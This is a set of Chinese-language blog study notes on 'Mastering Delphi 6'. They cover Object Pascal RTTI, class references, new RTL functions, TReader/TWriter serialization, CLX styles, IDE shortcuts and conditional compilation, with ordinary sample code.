所以，我们在单元中可以这样：

procedure TForm1.Button1Click2(Sender:TObject);

begin

ShowMessage(‘Click2!’);

end;

procedure TForm1.FormCreate(Sender:TObject);

var

Method:TMethod;

begin

Method.Data := Self;

Method.Code := MethodAddress(‘Button1Click2’);

Button1.OnClick := TNotifyEvent(Method);

end;

当然，实际上只需要Button1.OnClick=Button1Click2即可；不过，这样可以让你明白在幕后发生的事情。值得注意的一点是，Button1Click2应该声明在published段（或者和其他构件的声明放在一起，因为默认作用域就是published），以便编译器为它产生RTTI信息，否则程序可能达不到预期的效果。


CSDN_文档中心_《Mastering Delphi 6》学习笔记之六

《Mastering Delphi 6》学习笔记之六

Delphi 6中对RTL增加了不少函数和Helper Class，虽然不算翻天覆地的大变化，不过确实方便不少。如果有时间的话，建议大概浏览一下新增的StrUtils，DateUtils和ConvUtils这些单元，相信会发现一些有趣的东西。

如果要得到操作系统的信息，如下即可：

case Win32Platform of

VER_PLATFORM_WIN32_WINDOWS:ShowMessage ('Windows 9x');

VER_PLATFORM_WIN32_NT:ShowMessage ('Windows NT');

end;

ShowMessage ('Running on Windows:'+IntToStr (Win32MajorVersion)+'.'

+ IntToStr (Win32MinorVersion)+

' ((Build '+IntToStr (Win32BuildNumber)+

')'+#10#13 +'Update:'+Win32CSDVersion);

没有理由再调用GetVersion或者GetVersionEx了。

Delphi 6中的SysUtils增加了几个比较有用的Bool/Str conversion函数，声明如下：

function StrToBool(const S: string): Boolean;

function StrToBoolDef(const S: string; const Default: Boolean): Boolean;

function TryStrToBool(const S: string; out Value: Boolean): Boolean;

function BoolToStr(B: Boolean; UseBoolStrs: Boolean = False): string;

不用看帮助，你也应该明白这几个函数如何使用了。其中BoolToStr可能是比较常用的一个，如果不指定UseBoolStrs参数，那么返回的将会是B的Ord形式，例如，BoolToStr(True)将返回’-1’。而BoolToStr(True,True)则返回’True’。返回值取决于SysUtils单元中声明的TrueBoolStrs /FalseBoolStrs /DefaultTrueBoolStr /DefaultFalseBoolStr这几个值。遗憾的是DefaultTrueBoolStr是常量，不能够用一般的方法改变。如果要符合汉语的习惯，那么只好这样：

if Length(TrueBoolStrs)<2 then begin

Setlength(TrueBoolStrs,2);

TrueBoolStrs[0] := '真';

TrueBoolStrs[1] := DefaultTrueBoolStr;

end;

str := BoolToStr(True,True);

ShowMessage(str);

另外一些新的转换函数，例如FloatToCurr，FloatToDateTime，TryStrToFloat,TryStrToCurr等在某些情况下也是很有用的。

一个有趣并且好用的新函数：IfThen。它有Integer，Int64，Double和string四个重载版本，可以应付一般的需要，比如：

Sex := IfThen(bMale,‘男’，‘女’);

这样比If...Then...End简洁多了，很像是C++中的？：.

关于浮点操作也有许多增强函数.SameValue检查两个变量是否相等（或者相近到可以忽略其差别的地步）。CompareValue的功能也类似。DivMod可以将Div和Mod两种操作在一个函数中完成。RoundTo完成进位工作，例如，

RoundTo(1234.567,3); // 返回1000

RoundTo(1234.567,-2); // 返回1234.57

DateTime函数有这样一些增强：

function DayOf(const AValue:TDateTime):Word;

function HourOf(const AValue:TDateTime):Word;

function WeekOfYear(const AValue:TDateTime):Integer;

function HourOfWeek(const AValue:TDateTime):Integer;

function SecondOfHour(const AValue:TDateTime):Integer;

function DaysBetween(const ANow,AThen:TDateTime):Integer;

function WithinPastDays(const ANow,AThen:TDateTime;const ADays:Integer):Boolean;

下面的例子显示了一些新增的字符串操作：

ShowMessage(DupeString(‘Hello’,3)); //返回HelloHelloHello

ShowMessage(ReverseString(‘Hello’)); //返回olleH

Delphi目前也提供了对复数的支持。例如，

var

v1,v2:Variant;

begin

v1 :=VarComplexCreate (10,12);

v2 :=VarComplexCreate (10,1);

ShowMessage (v1 +v2 +5);

这个例子也反映了Object Pascal中对于Variant提供了类似于操作符重载的方法。不过，由于Variant效率不高和维护困难，一般不建议使用它们。


CSDN_文档中心_《Mastering Delphi 6》学习笔记之七

《Mastering Delphi 6》 学习笔记之七

TObject中的ClassParent是一个很让人感兴趣的方法。通过这个方法，你可以从某个类开始，层层上溯，一直到整个VCL的根TObject为止，描述出一个完整的层次列表。可以用下面的例子来检查类继承关系：

procedure TForm1.Button1Click(Sender: TObject);

var

CurrObject : TObject;

CurrClass : TClass;

begin

CurrObject := Sender;

while CurrObject<>nil do begin

Memo1.Lines.Add( 'Class name is ' + CurrObject.ClassName );

Memo1.Lines.Add( 'Instance Size is ' + IntToStr(CurrObject.InstanceSize) );

Memo1.Lines.Add( '' );

CurrClass := CurrObject.ClassParent;

if CurrClass<>nil then

CurrObject := CurrClass.NewInstance

Else

CurrObject := nil;

end;

end;

注意上面的代码实际上是有问题的---用了NewInstance而没有释放。不过作为示例就不必再复杂化了，了解用法即可。

上面例子的输出：

ClassName is TButton

Instance Size is 536

Class name is TButtonControl

Instance Size is 524

Class name is TWinControl

Instance Size is 516

Class name is TControl

Instance Size is 348

Class name is TComponent

Instance Size is 48

Class name is TPersistent

Instance Size is 4

Class name is TObject

Instance Size is 4

可以看到，TObject和TPersistent都是不包含任何成员变量的(4个字节用于VTbl)。同时可以看到,TControl和TWinControl都是相当大的类，其中一定增加了不少成员变量。而一个TButton占用的内存多达536个字节，也就是说，2个按钮就要超过1K,这多少让人有点吃惊。（如果你想用SizeOf的话，不会得到正确的结果：所有的对象用Sizeof得到的结果都是4，这说明所谓的对象其实都是指针而已。）看来虽说现在内存越来越大，但是一个窗体上的构件还是不要太多的为好。

由于TButton占用的内存之大出乎意外，所以我又作了个程序，把常用的几十种构件都放了进去，看看占用的内存大小如何。代码很简单：

procedure TForm1.FormCreate(Sender: TObject);

var

i : integer;

Item : TListItem;

Size : integer;

begin

for i:=0 to ComponentCount-1 do begin

Item := ListView1.Items.Add;

Item.Caption := Components[i].ClassName;

Size := Components[i].InstanceSize;

Item.SubItems.Add( IntToStr(Size) );

end;

end;

从结果来看，大致可以得出如下的结论：

1．非窗口构件（如TShape，TBevel）的InstanceSize大多在300多个字节；

2．基本的窗口化构件（如TButton,TEdit,TListBox）的InstanceSize大多在500到600多个字节,属于Common Control的占用量还要更多一些；

3．各种各样的网格构件（TStringGrid，TDrawGrid）占用空间都比较大（700多个字节），TDBGrid甚至达到了800个字节。

4．各种和数据库相关的构件都比较大，一般在700多到900字节不等，只有TDataSource出乎意料的小—88个字节。

5．包括上面说到的TDataSource在内，还有几个构件也非常之小，它们是TMainMenu, TActionList，TCustomizeDlg，TTimer和TDataSource，只有80-90多个字节，而其他构件最少也有300多个字节。我没有找到哪个构件的大小在100-300字节这个区间。

6．在我测试到所有构件中，其InstanceSize最大的是TChart，达到了1024个字节。

7．新增的ShellListView和ShellTreeView也是消耗内存的大户，ShellTreeView消耗的字节数达到968字节，仅次于TChart而位居亚军。

不知道你看了这个结果有何感想，我想Delphi之所以这么消耗内存和启动速度比较慢大概也是因为这个原因吧，总之构件虽好，也不可以滥用就是了。


CSDN_文档中心_《Mastering Delphi 6》学习笔记之十

Delphi中的Serialiation

熟悉MFC的人对Serialize这个虚拟函数大概不会陌生。在MFC中，如果要用Serialization机制读取和保存数据，大概是这样：

void CMyDoc::Serialize(CArchive& ar)

{

if (ar.IsStoring())

{

ar << myString;

ar << myInt;

}

else

{

ar >> myString;

ar >> myInt;

}

}

Object Pascal中有没有类似的机制呢？接触到TReader和TWriter这两个类之后，我知道我找到答案了。

不需多讲理论，来看一个实际的例子。在Form上面放三个Edit和两个Button，另外再加一个OpenDialog和SaveDialog。代码如下：

procedure TForm1.Button1Click(Sender: TObject);

begin

if SaveDialog1.Execute then

Serialize(SaveDialog1.FileName,True);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if OpenDialog1.Execute then

Serialize(OpenDialog1.FileName,False);

end;

procedure TForm1.Serialize(const FileName:string; bSave: Boolean);

var

Reader : TReader;

Writer : TWriter;

Stream : TFileStream;

begin

if bSave then begin

Stream := TFileStream.Create(FileName,fmOpenWrite or fmCreate);

Writer := TWriter.Create(Stream,4096);

Writer.WriteString(Edit1.Text);

Writer.WriteInteger(StrToInt(Edit2.Text));

Writer.WriteFloat(StrToFloat(Edit3.Text));

Writer.Free;

Stream.Free;

end

else begin

Stream := TFileStream.Create(FileName,fmOpenRead);

Reader := TReader.Create(Stream,4096);

Edit1.Text := Reader.ReadString;

Edit2.Text := IntToStr(Reader.ReadInteger);

Edit3.Text := FloatToStr(Reader.ReadFloat);

Reader.Free;

Stream.Free;

end;

end;

如果愿意的话，完全可以将Serialize包装成一个virtual method，从而让派生类中的实现更加简洁。

TReader和TWriter不仅能够读取和写入Object Pascal中绝大部分标准数据类型，而且能够读写Collection/List/Variant这些高级类型，甚至能够读写Perperties和Component。不过，TReader/TWriter自身实际上提供的功能很有限，大部分实际的工作是由TStream这个非常强大的类来完成的。从TReader和TWriter的声明中可以看到一些特别为Component而设计的方法，不难猜想，Delphi开发环境本身很可能就是利用TReader/TWriter，将构件的属性写入.DFM文件以及从.DFM文件中读取属性值的。

下面的例子很有用也非常有趣，它的效果完全相当于Form Designer中的View As Text命令：

var

DFMBuf, TextBuf : TStream;

begin

DFMBuf := TMemoryStream.Create;

DFMBuf.WriteComponent(Self);

TextBuf := TMemoryStream.Create;

DFMBuf.Seek(0,soFromBeginning);

ObjectBinaryToText(DFMBuf,TextBuf);

TextBuf.Seek(0,soFromBeginning);

Memo1.Lines.LoadFromStream(TextBuf);

TextBuf.Free;

DFMBuf.Free;

甚至可以从可执行文件中读取Form的信息：

var

DFMBuf, TextBuf : TStream;

buf : pointer;

begin

DFMBuf := TResourceStream.Create(HInstance,'TForm1',RT_RCDATA);

DFMBuf.Position := 0;

TextBuf := TMemoryStream.Create;

DFMBuf.Seek(0,soFromBeginning);

ObjectBinaryToText(DFMBuf,TextBuf);

TextBuf.Seek(0,soFromBeginning);

Memo1.Lines.LoadFromStream(TextBuf);

TextBuf.Free;

DFMBuf.Free;

end;

(说明：如果窗体不是TForm1，那么请将TResourceStream.Create一句中的第二个参数改为相应的窗体类名。)

好好读懂这些代码，相信自己做一个DFM Viewer也不是遥不可及的事情了吧!


CSDN_文档中心_《Mastering Delphi 6》学习笔记之十一

CLX及其它

《Mastering Delphi 6》中提到Object Pascal中有一个TBits类，用来进行二进制位操作。我看过这一段之后马上去找，果然在Classes单元中找到了它。这个类的声明相当简单，不过我看过后感慨很多。如果不知道这个类的存在，我以后可能还要在需要操作二进制位的时候辛辛苦苦的写一大串代码（我以前也写过不少这样的代码），要是能够早点知道有这个类的话该有多好！我相信还可能有很多人和我一样，从来不知道TBits的存在。因此，我决定以后一定要抽个时间，好好把Classes和System这些单元浏览一遍；虽然在没有多少文档的情况下去读这些文件不会轻松，但是很可能会发现一些有用的东西，从而避免去做重新发明轮子的傻事。

我过去总是觉得，Delphi的帮助系统比起MSDN来是有很大差距的。这次我倒是发现了一个相反的例证。通过对Classes单元一个走马观花的浏览，我发现一个ExtractStrings函数，毫无疑问是非常有用的。虽然在一般的教材中都找不到关于它的介绍，不过在线帮助中确实有关于它的完整描述。自己作个例子试试看，和猜想的用法相差不远。这让我想起MFC中也有一个类似的AfxExtractSubString，同样有用，但庞大的MSDN中就是找不到它的帮助（其实，MFC中类似的Afx函数，只有很少的一部分才有文档资料，其他的都属于Undocumented。）虽然这一个小地方不能证明什么，但至少说明Borland在帮助系统的完整性方面还是用心了的，这让我对Delphi帮助系统稍稍有了一些正面印象。

Delphi 6中帮助系统的主题一般都有VCL Reference和CLX Reference两种，如果按F1的话，首先会弹出一个对话框询问你到底选择那一个。时间长了就很烦人。这里有一个方法可以避免：如果你希望一直使用VCL的话，选择Help->Custom,将列表中所有有关CLX的项目一概删除，然后保存项目（当然，最好先将原先的设置备份一个，留给以后恢复用。）最后关闭再重新打开Delphi就行了。

Delphi 6现在支持VCL和CLX两个类库。CLX在底层是基于Qt这个类库的，可能有些朋友还没有听说过它的名字，不过在Linux系统上面Qt的名字可是非常响亮哦。你可以在新建一个项目的时候指定是使用VCL Application还是CLX Application，构件面板会自动变化，只显示对当前项目可用的构件。CLX构件和VCL构件从外观上总的来说是惊人的相似，当然在背后它们还是很不同的。CLX中有一些有意思的构件在VCL中是找不到的，比如TextViewer和TextBrowser。而VCL中有一些构件在CLX中也没有对应，主要是Win32面板上的构件，不过CLX中也有类似的构件，虽然叫法不同。(《Mastering Delphi 6》中提到，和Windows系统通过消息机制通信的方法不同，Qt中采用的是更高层的面向对象封装，比如要操作一个按钮，不用像按钮发送消息，直接调用按钮的相应方法即可。应该把Qt也看作一种Application Framework,而且这种结构一定很值得学习，有机会的话应该看看。)虽然VCL和CLX都有不少好的构件，但它们是无法共同使用的，也就是说，没有办法在VCL Application中使用CLX构件，反之亦然。

《Mastering Delphi 6》中有一个很妙的例子，用到CLX中的TextViewer。这个构件的特点是完全基于HTML的，而它有Text属性，因而又和Memo相兼容。所以，只要建立一个CLX Application，在窗体上面放上一个Memo和一个TextViewer，并修改Memo的OnChange事件：

procedure TForm1.Memo1Change(Sender: TObject);

begin

TextViewer1.Text := Memo1.Text;

end;

简简单单的一句话，产生出来的可是一个非常强的工具，你可以在Memo中按照HTML格式写内容，比如“<A HREF=”http://marcocantu.com”><IMG SRC=”viewme.gif”></A>”在TextViewer中立刻就能够看到效果，非常好的HTML学习工具哦。不过要说明的一点是，TextViewer的显示效果和我们通常在IE中看到的会有一些区别，有些网页效果是显示不出来的。但即便如此，这个程序还是让我兴奋了半天。

由于Qt的内置功能和Linux的可定制特性，因而CLX程序的外观可以是千变万化的，这就比Windows的单一外观要有趣一些。《Mastering Delphi 6》中举了一个例子。建立一个CLX Application，其中添加一个列表框和其他一些常用构件。在ListBox中增加几个表项，分别是Windows,Motif,Motif+,CDE,SGI,Platinum,SystemDefault。为ListBox增加OnDblClick处理：

procedure TForm1.ListBox1DblClick(Sender: TObject);

begin

case ListBox1.ItemIndex of

0: Application.Style.DefaultStyle := dsWindows;

1: Application.Style.DefaultStyle := dsMotif;

2: Application.Style.DefaultStyle := dsMotifPlus;

3: Application.Style.DefaultStyle := dsCDE;

4: Application.Style.DefaultStyle := dsQtSGI;

5: Application.Style.DefaultStyle := dsPlatinum;

6: Application.Style.DefaultStyle := dsSystemDefault;

end;

end;

可以看到程序显示多变的外观。其实这些外观并不是都很好看，但很有趣。如果是在Linux底下，通过定制Window Manager，还可以产生更多的变化，相信不会输给XP的超眩外观。


CSDN_文档中心_《Mastering Delphi 6》学习笔记之四

《Mastering Delphi 6》 学习笔记之四

在C++中，我们可以用static来声明一个属于类而不是类的某个具体实例的函数。许多人以为Object Pascal没有类似的功能，其实是有的，只要将函数声明为类方法（class procedure或者class function）就可以了。例如：

TForm1=class(TForm)

public

class procedure T;

end;

implementation

class procedure TFomr1.T;

begin

end;

你可以在项目文件中验证它是不是真的static：

begin

TForm1.T;

Application.Initialzie;

Application.CreateForm(TForm1,Form1);

Application.Run;

end;

class procedure/class function在VCL中也是相当重要的一类特殊方法。TObject的ClassName,ClassNameIs,ClassPoint,ClassInfo这四个方法全都是class function。虽然你在实际的编程中99.99999999999%的时间都不会用到它们，不过这四个函数堪称构筑整个VCL的基石。

值得一提的是，与C++中的static member function不同，Object Pascal中的class method能够具有多态的性质。例如，ClassName是TObject的一个class method，但是你调用TForm.ClassName得到的就是'TForm'，调用TButton.ClassName得到的就是'TButton'，等等。静态方法能够做到多态，岂不是非常神奇？这一切都是通过RTTI才做到的。你可以想象，如果ClassName用一般的virtual method来声明的话，就必须在每个派生类中都必须重载它才能实现类名称的正确映射，那将是多么痛苦的一件事情。

Class Reference是Object Pascal中不太为人所知晓的概念。它的语法很简单，比如，

TClass=class of TObject；

Class Reference有什么用呢？用一个小例子来说明。在Form上面放一个RadioGroup，其中包括Radio Button, Check Box， Button三项。代码如下：

type

TForm1=class(TForm)

...

private

ControlRef:TControlClass;

Counter : integer;

...

end;

implementation

procedure TForm1.FormCreate(Sender:TObject);

begin

Counter := 0;

end;

procedure TForm1.RadioGroup1Click(Sender:TObject);

begin

case RadioGroup1.ItemIndex of

0: ControlRef:=TRadioButton;

1: ControlRef:=TCheckBox;

2: ControlRef:=TButton;

end;

end;

procedure TForm1.FormMouseDown(Sender:TObject;Button:TMouseButton;Shift:TShiftState;X,Y:integer);

var

Control : TControl;

ControlName : string;

begin

if Button=mbLeft then begin

Control := TControlRef.Create(Self);

with Control do begin

Visible := False;

Parent := Self;

Left := X;

Top := Y;

ControlName := Control.ClassName + IntToStr(Counter);

Delete(ControlName,1,1);

Name := ControlName;

visible := True;

end;

end;

end;

Class Reference揭示了Object Pascal的一个令人惊讶的能力。在OO语言的一般概念中，Constructor不可能是virtual,我们调用TButton.Create建立的就是Button，TForm.Create建立的就是TForm，依此类推。但是，籍由Class Reference，VCL就拥有了virtual Construction的能力，在上面的代码中，通过单独的一个ControlRef.Create，我们建立起来的可以是任何TControl的派生对象。正是由于这种能力，Form Designer和Object Inspector才有办法操作各种各样不同类型的构件，而不管这些构件是Delphi内置的，还是我们从其他地方得到的，或者是我们自己编写的。Class Reference的概念在其他地方也被称作meta-class，是用来描述类信息的特殊类型。实际上，真正的幕后英雄是RTTI，通过RTTI，不仅使得类拥有了virtual construction的功能，而且类中的class method也有了virtual的性质。例如，TObject中的ClassName方法声明为class function ClassName:string，按道理说static method是不可能做到多态的，但实际上，我们调用TButton.ClassName得到的就是TButton，调用TForm.ClassName得到的就是TForm，通过RTTI，不可能的事情变成了可能，而且而避免了在每个派生类都要重载ClassName的麻烦。

在MFC中，如果一个对象满足下列条件：1。它是从CObject派生的；2。它的声明中包含DECLARE_DYNAMIC,并且在某个地方实现了IMPLEMENT_DYNAMIC，那么它也可以通过GetRuntimeClass()->CreateObject来实现类似的功能。所不同的是，MFC的实现方法是通过宏来在内存中建立起一个完整的CRuntimeClass表格，而Object Pascal中，由于单根继承的特性，所有对象天生就具备了这些功能。MFC的内存表格是通过程序员的声明而建立的，而Object Pascal中的RTTI表格是编译器自动生成的，彼此实现方法不同，但背后的思想是基本一致的。

通过RTTI，不仅对象可以动态生成，而且对象的属性也可以动态设置。下面这段代码不是来自《Mastering Delphi 6》，而是来自陈宽达先生的《Delphi深度历险》，它同样揭示了Object Pascal通过RTTI而具备的强大功能和灵活性：

var

i: integer;

propInfo: PPropInfo;

begin

for i:=0 to ComponentCount-1 do begin

PropInfo := GetPropInfo(Components[i].ClassInfo,’Color’);

if PropInfo<>nil then

SetOrProp(Components[i], PropInfo, clRed);

end;

end;


CSDN_文档中心_《Mastering Delphi 6学习笔记》之二

《Mastering Delphi 6学习笔记》之二

本文是我在阅读《Mastering Delphi 6》一书过程中的一些心得笔记，一方面因为原书是英文版，所以将一些我认为比较重要的部分整理和摘录出来，记以备忘；另一方面也希望和大家一起分享《Master Delphi 6》这本好书和Delphi 6这一优秀工具。第一部分《Object TreeView简要说明》已经贴出，从这一部分开始就按照顺序编号。因为是随手记录，所以不连贯和不周到的地方在所难免，欢迎大家批评指教。

本文不对概念和步骤详细说明，所以并不适合Delphi初学者。希望对Delphi有一定是用经验的朋友能够从本文受益。

关于Code Editor中的Diagram视图

1．和Object TreeView类似，Code Editor中的Diagram视图也是从Data Module中的类似概念发展而来的，现在也从Data Module中分离出来，从而可以应用于所有的窗体。

2．Diagram视图不会自动显示任何构件。要显示某些构件，从Object TreeView中拖动你需要的构件到Diagram视图中的白色区域即可（你可以从Object TreeView中一次拖动多个构件）。Diagram视图将会自动显示构件之间的所属关系。例如，将Form和其上的构件拖动到Diagram视图中，那么视图中所有构件上都会出现指向Form的箭头，表明所有构件都为Form所拥有。

3．可以用Diagram视图中的property connector来自动设置构件之间的一些关联。例如，添加一个TEdit和一个TLabel，并用Diagram视图中工具栏上的property connector按钮来添加一个从TLabel指向TEdit的箭头，你将会发现该箭头上自动出现FocusControl的字样，同时在Object Inspector中，Label的FocusControl被自动设置成了Edit1。这一切之所以能够自动完成，是因为TLabel所有属性中唯一一个能够指向TEdit对象的就是FocusControl属性。这样，你就可以形象化地设计对象之间的关联。反过来，你不能将property connector从Edit指向Label，因为没有对应的属性可以完成这种关联；如果你试图这样做的话，你会得到一个错误提示，并询问你的意图是否为想要一个相反方向的关联。

对于数据集构件，你还能够设置它们之间的Master/Detail关系和Lookup关系，其方法和上述步骤非常类似。

你还可以插入注释块(comment block)，从而更明确的表达你的意图。

4．Diagram视图可以进行修饰，从而更美观和明确。对于视图中每一个构件或者关联，都可以通过快捷菜单来设置它们的颜色和Z-Order顺序；对于关联箭头，你还可以任意修改它的形状和指向，增加拐点等。

5．对同一单元可以使用多个Diagram。只要在Name文本框中输入它的名字，并且添加可选的描述信息即可。通过Diagram视图中工具栏上的组合框，可以在各个Diagram之间切换。你可以为构件之间的Contains关系和数据表之间的关系分别建立Diagram，这样会更加清晰。

6．建立好一个满意的Diagram之后即可进行打印。只要让焦点保持在Diagram视图中，然后选择 File | Print 即可。

7．在Delphi 5中，Diagram信息是报存在单独的.DTI(design-time Information)中，该文件的格式和.INI文件的格式很类似，可以用文本编辑器进行编辑。在Delphi 6中，Diagram信息则是保存在.DDP(Delphi Diagram Portfolio)文件中。这种文件格式类似于.DFM的二进制格式，不能够直接编辑。不过，Delphi 6仍然能够读取.DTI文件。

关于VCL和CLX

Delphi 6 目前包括两个基本库，其中VCL是从Delphi诞生之日起就一直在使用的，而CLX（Component Library for Cross-Platform）则是支持跨平台特性的新的构件库。你可以从File | New选择使用的项目类型，可以为Normal Application或者CLX Application。你会发现用VCL和CLX编写同样的应用程序，在产生的可执行文件大小方面会有一点小的差别。

当你选择VCL Application或者CLX Application的时候，构件面板也会发生相应的变化，只显示当前使用的库所支持的构件类型。这种变化不算大，你要比较细心才能够发现。在CLX Application中，构件面板中的Win32页面消失了，取而代之的是Common Controls，其中还包括几个Win32中没有的新构件。同时，其他页面也有一些小的变化。对于用户来说，很少会注意到这些细节，但是这对于Delphi开发组来说是一个极大的挑战，因为系统的许多地方都需要重构以适应新的库。应该说在这一点上Delphi开发组做的相当出色，Delphi从前版本的用户可以毫无困难的使用Delphi 6。不过你应该知道，在类似的界面之下，底层的改变是相当巨大的—这对于特定的程序员，例如编写 ToolsAPI的编程人员和其他一些有特定需要的人来讲，是必须要了解的内容。

其他的一些变化

Delphi IDE现在添加了一个Window菜单，从而可以方便的在Form Designer，Code Editor和Object TreeView/Object Inspector之间切换。这是一个很小但非常体贴用户的改进，因为在开发环境中，经常发生某个窗口被其他窗口覆盖而找不到的事情。

（《Mastering Delphi 6》中提到，可以通过注册表中的Software\Borland\Delphi\6.0\Main Window表项来设置该菜单的显示或者隐藏，其中-1代表True，而0代表False。不过在我的注册表中没有找到这个设置，不知道如何添加。如果你发现了的话，欢迎你告诉我。）

构件面板的快捷菜单中现在添加了一个子菜单，其中包含了所有的面板名称。你可以用它来快速切换到某个面板中。如果你经常不得不在面板中来回滚动以找到某个页面，你一定会非常欣赏这个新功能的。

（在默认情况下，这个快捷菜单中面板项目是按照字母顺序排列的。你可能会希望它按照在构件面板中同样的顺序来排列。《Mastering Delphi6》中提到，可以设置注册表中的相应项目来修改这一行为。因为这一段说的表项不太明确，由于时间关系我也没有进行试验，所以就把原文放在这里好了，大家感兴趣的话可以试试看。

The order of the entries in the Tabs submenu of the Component Palette local menu can be set in the same order as the palette itself, and not sorted alphabetically. This is accomplished by setting to “0” (false) the value of the Sort Palette Tabs Menu key of the Main Window registry section of Delphi (under \Software \Borland \Delphi \6.0 for the current user).

）

其他还有一些细小的改动：

1．在Environment Options对话框中的Preference页面中新增一个选项Auto Drag Docking，允许你禁止各个工具的泊位特性。如果你不喜欢Docking的话，你可以设置这一选项。（说实在的，我不知道《Mastering Delphi6》的作者为什么特别强调这个设置；我自己是非常喜欢Docking的，我总是把Object Inspector和Object TreeView组合在一起，将Watch窗口Dock进入Code Editor中，这样实在是方便不少。不过既然作者这么说，想必又他的理由，所以我还是尊重作者的意见，将这一点列为头条。）

2．在Environment Options对话框中新增一个Enviroment variables页面，允许设置系统环境变量。这样比硬编码某些路径来说好得多了，特别是编写服务器应用的程序员可能会需要它。

3．新的Internet页面可以设置将哪些后缀名的文件视为Internet files，并且允许调试Scripts等。

关于To-do List：

除了可以在View | To-do List中可视化编辑之外，也可以在源文件中这样编辑：

procedure TForm1.FormCreate(Sender:TObject);

begin

//TODO -oMarco:Add creation code

end ;

这样将增加一个名为Add Creation code的项目，其Owner为Macro。如果你熟悉了这种方式的话，编辑起来会比用To-do List Editor更快捷（当然，管理To-do List还是要用Editor）。-o指定Owner，-c指定Category，单独的一个数字指定priority。例如：

// TODO 2 –oMacro : Mouse Pressed

如果一个To-do List已经完成，可以将TODO改成DONE来指明这一点。或者在To-do List Editor中选定Done检查框也可以。指定为DONE的项目在To-do List中将显示为带删除线的形式。

你可以在to-do List Editor中将To-do List复制为纯文本或者HTML格式来进行输出，甚至可以指定HTML的输出格式（不过有点奇怪的是，Delphi只提供了Copy to Clipboard的方式，却没有提供Export to File的功能。）

代码编辑器是多页面形式(Multi-Page Interface)的，不过在Delphi 6中，这些页面还可以通过鼠标拖动来改变排列它们在代码编辑器中的顺序。也可以通过Ctrl+Tab或者Shift+Ctrl+Tab在各个页面之间切换。在页面的快捷菜单中同样列出了编辑其中的所有页面，当编辑其中打开的文件相当多时，可以通过这一功能快速切换到特定的文件（一个小而很方便的功能，和构件面板块接菜单中的Pages菜单一样非常有用。）

在Environment Options对话框中的AutoSave是一个很有用的选项，它可以在你运行程序或者调试程序之前，保存源文件，项目文件或者桌面设置，从而避免调试过程中的意外崩溃导致数据丢失。(强烈建议至少选中Auto Save Editor Files；我很奇怪这为什么没有成为默认设置。)


CSDN_文档中心_《Mastering Delphi6》学习笔记之三

代码编辑器/窗体设计器/Object Inspector中的一些快捷键

在代码编辑器中按Ctrl+E可以 激活Increment Search。这样就避免了从菜单中选择Search->Find，再输入文本的繁琐步骤。

选中一或者几行文本，然后按Ctrl+Shift+I，可以增加这几行的缩进量；Ctrl+Shift+U减少缩进。缩进的距离取决于Editor Options里面的Auto Indent设置。

选中一些文本，按Ctrl+O+U（保持Ctrl按下，先按O，再按U），将改变选中文本的大小写。Ctrl+K+E将选中文本全部变成小写；Ctrl+K+F变成全部大写。

在Form Designer中工作的时候，选中某个构件，按下Ctrl和方向键拖动它将能够微调它的位置，而不用对齐到网格（Snap to Grid只对鼠标操作有效。）不过，如果Shift和Ctrl一起按下，则按方向键的时候构件移动会自动对齐到网格。

Object Inspector中的一个重要改进是Object Inspector支持Component reference的In-place expanding。例如，Label的FocusControl会以褐色标记，表示它是指向另一个构件的特殊属性。将FocusControl设为某个构件，在FocusControl前面会出现小的+号，允许你直接编辑这个构件的属性，而不需要选中它。

另外，在FocusControl的属性值上按住Ctrl键双击，将会跳转到FocusControl指向的构件（例如Edit1）。

Ctrl+O+O将在单元前面添加所有的编译器设置。

关于Delphi中的条件编译

Delphi支持类似于C++中条件编译的概念。其方法也很简单。不过，因为使用频率相对较少的缘故，有些人对它还是不太熟悉，而且Delphi和C++在条件编译的语法上也有一点小的差别，所以有必要简单提一下。

最简单的形式类似这样：

{$IFDEF DEBUG}

ShowMessage(‘Display a Debug Message!’);

{$ENDIF}

在Delphi 6中，支持IFDEF的一个增强的形式：IF。IF不仅可以测试符号定义，而且允许测试常量（包括常量表达式，如SizeOf，Pred，Succ等），而且能够测试组合条件。下面是一个例子：

const

DebugControl = 3;

{IF Defined(DEBUG) and (DebugControl>=3)}

ShowMessage( ‘High Debug Level!’);

{$IFEND}

熟悉C++的朋友应该注意，测试结束部分有两种形式，分别是ENDIF和IFEND，它们分别用于对应IFDEF(也包括IFNDEF)和IF，不可以混用，否则将得到一个出错信息，这是Object Pascal和C++的一个不同点。

更复杂一些的形式如下：

{$IFDEF ...}

...

{$ELSEIF ...}

...

{$ELSE}

...

{$IFEND}

条件编译在Delphi 6中变得相对比较重要，因为Delphi 6分别支持VCL和CLX这两个不同的库。因而在VCL中和其他一些地方，你能够看到类似这样的语句：

{$IF Defined(CLX)}

...

{$IFEND}

Delphi中预定义了一些条件编译符号。下面列出其中比较重要的一些：

1.VER140

这个定义暗示Delphi 6.0在Borland Pascal产品家族中的真正版本号是14.0。在Delphi 5中则定义了VER130。应用如下：

{$IFDEF VER140}

ShowMessage('Is Delphi 6!')

{$ENDIF}

{$IFDEF VER130}

ShowMessage('Is Delphi 5!')

{$ENDIF}

2．MSWINDOWS / LINUX / WIN32

前面两个定义显然是为跨平台编程而准备的。至于WIN32，你也可以把它当作MSWINDOWS来用；不过，实际上它是为Delphi 1.0/2.0的兼容性而保留的，除非你有这两个版本的应用程序需要维护，否则一般不应该再使用它。当然了，在将来的64位平台上，还会出现WIN64的定义；如果你是个很前卫的程序员，你甚至可以现在就编写这样的代码：

{$IFDEF WIN64}

...

{$ENDIF}

这样做也并不是毫无意义的，因为Delphi目前对Int64类型已经提供了不错的支持。

3．CONSOLE

指示这是一个控制台(Console)应用程序。

4．BCB

如果需要在C++Builder中编译.Pas文件，某些情况下可能需要它。

5．ConditionalExpressions

在Delphi 5和以前版本中不支持$IF。不过，用下面这种方式，不论在Delphi 5还是Delphi 6中都可以毫无问题地通过编译：

{$IFDEF ConditionalExpressions}

{$IF Defined(Debug)}

ShowMessage('Debug!');

{$IFEND}

{$ENDIF}

《Mastering Delphi 6》的作者给了我们两条忠告：

1．条件编译很有用，只要使用得当，它能够为程序提供相当的灵活性。但是，应该只在确实需要用它们的时候才用；否则，很容易让代码变得难于阅读，并且可能给调试器造成麻烦。

2．当你改变了某些定义，编译器并不一定总是能够正确的区分哪些代码需要重新编译。如果你改变了这些定义后，程序的运行情况变得有点奇怪，那么请选择Build All。

Delphi 6中引入了一个新的指示字（directive）：platform。因为Delphi 6支持跨平台编程，但是，当你需要编写一些特定于平台的代码的时候，最好用platform来声明。

下面是例子：

var

WinInteger : integer=3000 platform;

